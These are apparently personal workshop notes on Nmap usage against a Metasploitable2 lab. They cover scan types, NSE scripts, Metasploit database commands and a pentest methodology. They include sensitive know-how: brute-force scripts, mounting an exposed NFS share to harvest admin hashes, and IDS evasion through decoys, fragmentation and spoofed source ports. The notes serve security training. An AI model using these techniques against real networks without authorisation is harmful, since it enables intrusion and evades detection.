* There are several accepted formats for the argument -p: f Port list: # nmap -p80,443 localhost f Port range: # nmap -p1-100 localhost f All ports: # nmap -p- localhost f Specific ports by protocols: # nmap -pT:25,U:53 <target> f Service name: # nmap -p smtp <target> f Service name wildcards: # nmap -p smtp* <target> f Only ports registered in Nmap services: # nmap -p[1-65535] <target>
* The argument --scriptsets which NSE scripts should be run with the scan. In this case, when the service scan detects the web server, a parallel thread is initialized for the selected NSE script
* There are more than 230 scripts available, which perform a wide variety of tasks. The NSE script http-title returns the title of the root document if a web server is detected.
* You can run multiple scripts at once: $ nmap --script http-headers,http-title scanme.nmap.org
* f Run all the scripts in the vulncategory: $ nmap -sV --script vuln <target> f Run the scripts in the categories versionor discovery: $ nmap -sV --script="version,discovery" <target> f Run all the scripts except for the ones in the exploitcategory: $ nmap -sV --script "not exploit" <target> f Run all HTTP scripts except http-bruteand http-slowloris: $ nmap -sV --script "(http-*) and not(http-slowloris or httpbrute)" <target>
* To test new scripts, you simply need to copy them to your /scriptsdirectory and run the following command to update the script database:# nmap --script-update-db
* NSE script categories f auth: This category is for scripts related to user authentication. f broadcast: This is a very interesting category of scripts that use broadcast petitions to gather information. f brute: This category is for scripts that help conduct brute-force password auditing. f default: This category is for scripts that are executed when a script scan is executed (-sC). f discovery: This category is for scripts related to host and service discovery. f dos: This category is for scripts related to denial of service attacks. f exploit: This category is for scripts that exploit security vulnerabilities. f external: This category is for scripts that depend on a third-party service. f fuzzer: This category is for NSE scripts that are focused on fuzzing. f intrusive: This category is for scripts that might crash something or generate a lot of network noise. Scripts that system administrators may consider intrusive belong to this category. f malware: This category is for scripts related to malware detection. f safe: This category is for scripts that are considered safe in all situations. f version: This category is for scripts that are used for advanced versioning. f vuln: This category is for scripts related to security vulnerabilities
* how to force Nmap to scan using a specified network interface: $ nmap -e <INTERFACE> scanme.nmap.org
* Scanning profilesare a combination of Nmap arguments that can be used to save time and the need to remember argument names when launching an Nmap scan.This recipe is about adding, editing, and deleting a scanning profile in Zenmap. Let's add a new profile for scanning web servers: 1. Launch Zenmap. 2. Click on Profile on the main toolbar. 3. Click on New Profile or Command(Ctrl+ P). The Profile Editor will be launched. 4. Enter a profile name and a description on the Profile tab. 5. Enable Version detection and disable reverse DNS resolution on the Scan tab. 6. Enable the following scripts on the Scripting tab: ? hostmap ? http-default-accounts ? http-enum ? http-favicon ? http-headers ? http-methods ? http-trace ? http-php-version ? http-robots.txt ? http-title 7. Next, go to the Target tab and click on Ports to scan and enter 80, 443. 8. Save your changes by clicking on Save Changes.
After using the editor to create our profile, we are left with the following Nmap command: $ nmap -sV -p 80,443 -T4 -n --script http-default-accounts,httpmethods,http-php-version,http-robots.txt,http-title,http-trace,httpuserdir-enum <target> Using the Profilewizard, we have enabled service scanning (-sV), set the scanning ports to 80and 443, set the Timing template to 4, and selected a bunch of HTTP-related scripts to gather as much information as possible from this web server. And we now have this profile saved for some quick scanning without having to type all these flags and options again. ------------------------------------------------------------------------------------ * nmap workshop on webpownized notes: with this I have metasploitable2 up and running. you can either run netdiscover or -sn switch for nmap to do a host discover and see what you have up and running
1. tcpdump -i eth0 -nn host 10.0.0.100 && host 10.0.0.115 2. this says use interface eth0 with no dns resolve or friendly names (like http instead of port 80) and to specifically monitor these 2 hosts 3. first lets start with a syn scan. You have to be running as root to do this one 4. nmap -p 80 -sS 10.0.0.115 5. note the flags of syn from us and syn/ack from them, then we sent an R rst 6. lets change the -sS to -sT, this is full connect and its what it switches to if your not root 7. note the syn, syn/ack, ack, then reset 8. now if we stuck with these scans they are tcp scans we would be missing out on the goods on udp 9. adding a -sU to the mix will do a udp scan, but this takes a long time. 10. you can decrease the time with -p 1-200 11. also test the firewall state with an ack scan 12. nmap -p 1-200 -sA 10.0.0.115 13. looking at tcpdump we see there was a large amount of ports that responded back with an rst, so we know its listening and responding 14. you can also use the --scanflags <flags> that lets you specify what flag you want set 15. lets do a protocol scan 16. nmap -sO 10.0.0.115 17. this is checking the ip protocol ids to see what the victim supports 18. takes a while so go ahead and ctrl+c it 19. keep in mind you can hit v on your keyboard during the scan to set verbosity limits. D as well for debug info. shift+v and shift+d dials it back down 20. you could have also done it in the command -vvv (the number of v's is the number of verbosity) and -ddd as well 21. so lets just run a basic nmap on metasploitable2 22. nmap 10.0.0.115 23. this shows whats open and what service is running based on the port number. This can be misleading because admins may move services to different ports 24. if you go to /usr/share/nmap/ cat nmap-services | more you will see what nmap notes as services 25. so lets go deeper with one in particular port 3306. It states its mysql, so lets find out 26. nmap -sV -p 3306 10.0.0.115 27. this gives the whole version number, this is what you would compare online to see if theres a vulnerability for that specific version 28. lets see how these are found out 29. cd /usr/share/nmap and cat nmap-service-probes | more 30. these will list differnt probes that have data that can be used to compare with the response nmap gets back from a service. Theres a ton of probes here ranging from null scans, bitcoin, antiviruses 31. lets see if we can find the mysql probes (q to quit) 32. cat nmap-service-probes | grep mysql 33. you can also scan the top 1000 services based off of this services text file 34. by adding -F it will scan the top 100 and quick 35. nmap -F 10.0.0.115 36. you can also use --top-ports<number of ports> 37. nmap --top-ports 500 10.0.0.115 38. you can skip port ranges with a comma 39. nmap -p 21-25,27,29 10.0.0.115 40. you can also specify udp or tcp 41. nmap -sS -sU -p U:53,111,137,T:21-25,80 10.0.0.115 42. now try it without the -sU and you will see that although you specified the udp ports, it still doesnt scan them without that -sU switch 43. same thing applies if you just did the -sU and omitted the -sS you will only get the udp ports 44. so run both types of scans if you are going to be specifying udp and tcp ports 45. you can add a -r to have the ports scanned in order not random 46. the file to see how nmap detrmines OS version is /usr/share/nmap/nmap-os-db 47. these are basically patterns, and if the nmap response matches one of these patterns it can determine with good certainty that particular OS 48. so do nmap -O 10.0.0.115 to do the OS scan 49. you tweak these scans as well. Like the --osscan-limit which basically says if you cant detrmine what it is, dont bother. nmap -O --osscan-limit 10.0.0.115 50. --osscan-guess is a more aggressive probe. nmap -O --osscan-guess 10.0.0.115 51. http://nmap.org/book/osdetect-methods.html 52. now lets try to mess with timing 53. you can use --min-hostgroup if you want to specify a number of host groups to scan at a time, theres also --max-hostgroup 54. --max-retries caps number of port scan probe retransmissions 55. --host-timeout<time> give up on target after this long 56. --scan-delay adjust when i want to send probes 57. there are templates that use these parameters when using the T options
-T<0-5>: Set timing template (higher is faster)
Speed: T1 --------------- Timing report --------------- hostgroups: min 1, max 100000 rtt-timeouts: init 15000, min 100, max 15000(round trip times) max-scan-delay: TCP 1000, UDP 1000, SCTP 1000 parallelism: min 0, max 1 max-retries: 10, host-timeout: 0 min-rate: 0, max-rate: 0 ---------------------------------------------
Speed: T2 --------------- Timing report --------------- hostgroups: min 1, max 100000 rtt-timeouts: init 1000, min 100, max 10000 max-scan-delay: TCP 1000, UDP 1000, SCTP 1000 parallelism: min 0, max 1 max-retries: 10, host-timeout: 0 min-rate: 0, max-rate: 0 ---------------------------------------------
Speed: T3
--------------- Timing report --------------- hostgroups: min 1, max 100000 rtt-timeouts: init 1000, min 100, max 10000 max-scan-delay: TCP 1000, UDP 1000, SCTP 1000 parallelism: min 0, max 0 max-retries: 10, host-timeout: 0 min-rate: 0, max-rate: 0 ---------------------------------------------
Speed: T4
--------------- Timing report --------------- hostgroups: min 1, max 100000 rtt-timeouts: init 500, min 100, max 1250 max-scan-delay: TCP 10, UDP 1000, SCTP 10 parallelism: min 0, max 0 max-retries: 6, host-timeout: 0 min-rate: 0, max-rate: 0 ---------------------------------------------
Speed: T5
--------------- Timing report --------------- hostgroups: min 1, max 100000 rtt-timeouts: init 250, min 50, max 300 max-scan-delay: TCP 5, UDP 1000, SCTP 5 parallelism: min 0, max 0 max-retries: 2, host-timeout: 900000 min-rate: 0, max-rate: 0 ---------------------------------------------
58. T3 is a good balance 59. T1 is good when i dont want to be found by ids, because it takes so much time in between packets 60. nmap -T1 -vvv -dd 10.0.0.115 61. this will take forever so just show students the verbose output of what its doing 62. do the same with the other ones 63. reporting options are many 64. -oN/-oX/-oS/-oG <file> normal,xml,script kiddie, and grepable format in that order. with these ones you need to add the extension to the end of the filename 65. -oA outputs in all major formats simultaneously 66. nmap -oA rays-scan 10.0.0.115 67. make sure you copy over the stylesheet with cp /usr/share/nmap/nmap.xsl /root 68. also give the xml version a minute or so to finish then do firefox rays-scan.xml & 69. you would need to send this xls file along with the xml file if you send it elsewhere 70. --resume will resume an aborted scan if you were outputting this to file at the time
nmap scripting * its based on lua * you can do network discovery, more sophistictaed version detection, vulnerability detection, backdoor detection, some exploitation
* script categories: auth - credentials on a target system broadcast - discovery of hosts not listed on the command line by broadcasting on the local network default - if you write a script for this category it gets run when you do the -A option discovery - discover more info (directory services, snmp, public registries, etc) dos - crash a service exploit - exploit a vulnearbility fuzzer - send server software unexpected input intrusive - high risk, things that can crash services safe - wont crash service version - version detection
The NMAP Scanning Engine (NSE)
1. How to specify which scripts to run. 2. How to use wildcards 3. How scripts work 4. Overview of the scripts available 5. Demonstration of select scripts 6. Discuss some scripts helpful in your job
-sC: equivalent to --script=default --script=<Lua scripts>: <Lua scripts> is a comma separated list of directories, script-files or script-categories --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts --script-args-file=filename: provide NSE script args in a file --script-trace: Show all data sent and received --script-updatedb: Update the script database. --script-help=<Lua scripts>: Show help about scripts. <Lua scripts> is a comma separated list of script-files or script-categories. * a good methodology when you start pentesting a network is: PLUG INTO THE NETWORK AND CREATE A SUBNET LIST 1. ifconfig 2. /etc/resolv.conf this is where their dns servers are listed and a lot of companies tend to put their dns servers in the same subnet as their domain controllers 3. netdiscover 4. wireshark 5. dig PING SCAN TO CREATE LIST OF LIVE IPS 1. nmap -sP -PL SYN SCAN USING TIMING AND OTHER EVASION TECHNIQUES ONE PORT AT A TIME 1. cat hostlist.txt | sort -R | nmap -sS -p 389 -oG myscan -iL- (sort is so it will go at random so ids wont pick up sequential scans USE NMAP SCRIPTS AGAINST THE HOSTS ONE BY ONE IN EACH PORT.TXT FILE 1. nmap -Pn -n --open -p21 --script ftp-anon,ftp-bounce,ftp-libopie -iL 21.txt
* dont throw a script at a network until you know what it does. find it on nmap.org/nsedoc/scripts/ * help files would be nmap --script-help "ftp-*" * lets do some examples: 1. nmap --scan-delay 5s -g 53 -Pn -n -sS --open -p21 --script=banner,ftp-anon,ftp-bounce 10.0.0.115 2. scan delay is delay between each packet, -g spoof the source port (most 53 ports will be let through a firewall), no dns or arp 3. nmap --script-help "ssh-*" also do it without the - to get more scripts 4. nmap --scan-delay 5s -g 53 -Pn -n -sS --open -p22 --script=sshv1,ssh2-enum-algos 5. nmap --script-help "smtp-*" 6. nmap --scan-delay 5s -g 53 -Pn -n -sS --open -p25 --script=smtp-brute,smtp-enum-users 10.0.0.115 7. nmap --script-help "dns-*" 8. nmap --scan-delay 5s -g 53 -Pn -n -sS --open -p53 --script=dns-cache-snoop,dns-service-discovery,dns-update,dns-zone-transfer,dns-recursion 10.0.0.115 9. the dns cache thing is somethinig most dont realize. dns servers love to cache domains, the dns-cache script has about 100 domains like facebook, wikipedia,etc. so modifying the nse for that with other domains 10. cd /usr/share/nmap/scripts ls -lah | grep dhcp 11. nmap --script=broadcast-dhcp-discover.nse -p67 --open 10.0.0.0/24 12. this one can show me an ip address that can be used by me 13. nmap --script-help "ms-sql-*" 14. nmap --scan-delay 5s -g 53 -Pn -n -sS --open -p T:1433,U:1434 --script=ms-sql-info,ms-sql-empty-password 10.0.0.115 can also replace this with mysql to be used against metasploitable 15. nmap --script-help "nfs-*" 16. nmap --scan-delay 5s -g 53 -Pn -n -sS --open -p111 --script=rpcinfo,nfs-ls,nfs-showmount,nfs-statfs 10.0.0.115 note the export / to root. so show the students how this is dangerous by.. 17. mkdir /mnt/raystemp 18. mount -t nfs 10.0.0.115:// /mnt/raystemp/ -o nolock 19. cd /mnt/raystemp/ 20. ls and look at all the access you have because some let you mount to root 21. the company may have their golden images for their image deployment stored here and you can download it, install it and rip the admin hashes 22. nmap --script-help "smb-*" 23. nmap --scan-delay 5s -g 53 -Pn -n -sS --open -p139,445 --script="smb-enum*",smb-os-discovery,smb-security-mode,smb-check-vulns --script-args safe=1 10.0.0.115 24. nmap --script-help "http-*" 25. nmap --scan-delay 5s -g 53 -Pn -n -sS --open -p80,443,8000,8080,8443 --script=http-date,http-enum,http-favicon,http-headers,http-open-proxy,http-php-version,http-robots.txt,http-title,http-trace,http-vhosts,http-vmware-path-vuln,citrix-enum-apps-xml,citrix-enum-servers-xml --stats-every 30s 10.0.0.115 26. nmap --script-help "ldap-*" 27. nmap --scan-delay 5s -g 53 -Pn -n -sS --open -p389 --script=ldap-rootdse 10.0.0.115 28. nmap --script-help "ssl-*" 29. nmap --scan-delay 5s -g 53 -Pn -n -sS --open -p443 --script=banner,ssl-cert,ssl-enum-ciphers,sslv2,ssl-heartbleed 10.0.0.115 30. by the way the reason for all these scans, is because a lot of the vulnerability scanners out there produce false positives, so by doing these scans its a great secondary scan 31. ip geo location stuff as well can be done from nmap 32. nmap -Pn -p80 --script ip-geolocation-* irongeek.com 33. github has a lot of custom scripts 34. so to install an nse script you download one like https://github.com/SpiderLabs/Nmap-Tools/blob/master/NSE/http-screenshot.nse and then copy it over to /usr/local/share/nmap/scripts/ then after thats done you run nmap --script-updatedb 35. git clone git://github.com/SpiderLabs/Nmap-Tools.git 36. cd Nmap-Tools/NSE/ 37. cp htp-screenshot.nse /usr/share/nmap/scripts 38. nmap --script-updatedb
metasploit and nmap * some of the common database commands are: 1. creds - list all the credentials in the database 2. db_connect - connect to an existing database 3. db_disconnect 4. db_export - export a file containing the contents of the database 5. db_import - import a scan result file 6. db_nmap - executes nmap and records the output automatically 7. db_rebuild_cache rebuilds the database stored module cache 8. db_status 9. hosts - lists all hosts in the database 10. loot - lists all teh loot in the database 11. notes - lists all notes in the database 12. services - lists all the servvices in the db 13. vulns - lists all the vulns 14. workspace - switch between database workspaces
* so you can scan directly into the database when you do nmap by doing : 1. db_nmap -n -A 10.0.0.115 2. now you can type hosts and see what you have for hosts 3. hosts -u this will tell you hosts that responded 4. if you want to only get the info about a certain port it would be services -p 80 -u 5. and when i do metasploit exploit module, i can say services -p 21 -R this automatically sets all the rhosts to this ip. Keep in mind this is only for rhosts not rhost. 6. so do services -p 21 -R 7. then search port scanner and grab the ftpbounce scanner and use the module 8. show options and it should already have the rhosts option set (unset unsets it) 9. workspace -h 10. all the commands for database have help files so hosts -h, services -h, etc. 11. you can also query the database for the differnt columns and such like: 12. hosts -c address,os_flavor 13. hosts -c address,os_flavor -S Linux 14. services -c name,info 10.0.0.115 15. services -S Unr 16. services -c port,proto,state -p 80-82 17. services -s http -c port 10.0.0.115 18. now for exporting: 19. services -s http -c port 10.0.0.115 -o /root/rays.csv 20. hosts -S Linux -o /root/rayshosts.csv
Evasion techniques 1. syn scan is still the best stealthy scan always do one 2. source port manipulation, dns tcp 53, ftp tcp 20, kerberos tcp or udp 88 and dhcp udp 67. the syntax would be --source-port<port number> or -g <port number> 3. this doesnt work with tcp connect scan , dns requests, os version scanning or script scanning 4. fragmentation: -f (fragment packets or --mtu(using the specified mtu). split up the tcp header over several packets to make it harder for packet filters. you can specify this option once and split the packets into eight bytes or less after the ip header. You can specify the -f again to use 16 bytes per fragment. Generally not supported for connect scans, ftp bounce, version detection and scripting engine 5. scan delay: --scan-delay<time> or --max-scan-delay<time>. Wait at least the given amount of time between each probe. Evade threshold based IDS and ips. Nmap tries to detect rate limiting and adjust the scan delay accordingly. A low --max-scan-delay can speed up nmap, most pentesters go with 3 sec 6. decoy scanning: -D <decoy1>,<decoy2> basically your cloaking a scan with decoys. makes it appear to the remote host that the hosts you specify as decoys are scanning the target network too. Thi smakes the scan less obvious to various network monitoring systems. Hosts you use as decoys should be up, and use ip addresses instead of names. Can be defeated through router tracing, response dropping and other active mechanisms. they work with initial ping scan(using icmp,syn,ack), actual port scanning phase and remote OS detection. They do not work with version detection scans or tcp connect scans. 7. data length: --data-length<number> (append random data to sent packets). one way that ids finds that its nmap in play is its default data length signature, thats where this comes into play. tcp packets are generally 40 bytes and icmp echo requests are just 28. Append the given number of random bytes to most of the packets it sends and not to use any protocol-specific payloads. Adds extra padding to the packet making it look less like a scan packet and more like a legit packet 8. another evasion technique is to do several scans of teh target, break your scans up into chunks of "ports of interest" 9. most ids/ips alert on scans of more than 5 ports 10. layer your source-obfuscation techniques(decoys,timing,fragmentation,data length,etc) 11. keep your scan time to a minimum by breaking scans into multiple jobs
Sql Injection basics. Part of my Pop,Pop,Pop, another server drop hacking series. This episode features the basics of sql injection